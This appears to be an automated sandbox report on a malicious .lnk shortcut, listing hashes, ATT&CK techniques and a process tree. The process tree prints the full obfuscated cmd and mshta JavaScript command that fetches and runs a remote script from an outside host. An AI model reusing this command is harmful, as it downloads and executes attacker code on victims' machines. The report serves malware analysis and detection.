f10023ad1243012f90fb60f0a4b34f6ff470c1e198654979431b6c49c7c298b2

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
24/05/2024, 13:27

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General

Target

V_273686.lnk
Size

14KB
MD5

1dca9e98e575af3b1e2b90e59d75dc43
SHA1

16cc510d884cae94137a9fbf90c4d2c0f0c5d2f1
SHA256

a89872c21ac68096a76a60e5a13c77ddf79252c3097aea42865879c5b6d452f3
SHA512

abbe50c0e93d99fe2c12c0c6c33204b28deeecf038f6cf11f67ba6ce770e4b95a7c3c9562512747a8df607408f342a877514e4d1d1dfedc3a5d96d9953563129
SSDEEP

384:nhjOveahqUcUXmdw7o3m7Ylw0sBsHorbqaUA/d:pOvShUXm68m00e1DY

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	3576	mshta.exe
9	3576	mshta.exe
13	3576	mshta.exe
18	3576	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 2872	2480	cmd.exe	85
PID 2480 wrote to memory of 2872	2480	cmd.exe	85
PID 2872 wrote to memory of 3576	2872	cmd.exe	86
PID 2872 wrote to memory of 3576	2872	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\V_273686.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c MshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\mshta.exe
    MshtA "JaVAsCrIpT:var _$_NXUI=["\x4b\x49\x49\x54\x48\x5a\x4c","\163\x63\162\x69\160\x74\x3a\110\124\x74\x70\163\x3a\x2f\x2f\x63\x72\x6f\156\x61\x6c\x31\70\64\56\x70\x68\162\x6f\x61\x74\x69\166\x61\x2e\x63\157\155\x2e\142\x72\57\x3f\x32\x2f"];try{GetObject(_$_NXUI[1])[_$_NXUI[0]]()}catch(e){};close()"
    3⤵
    - Blocklisted process makes network request
    PID:3576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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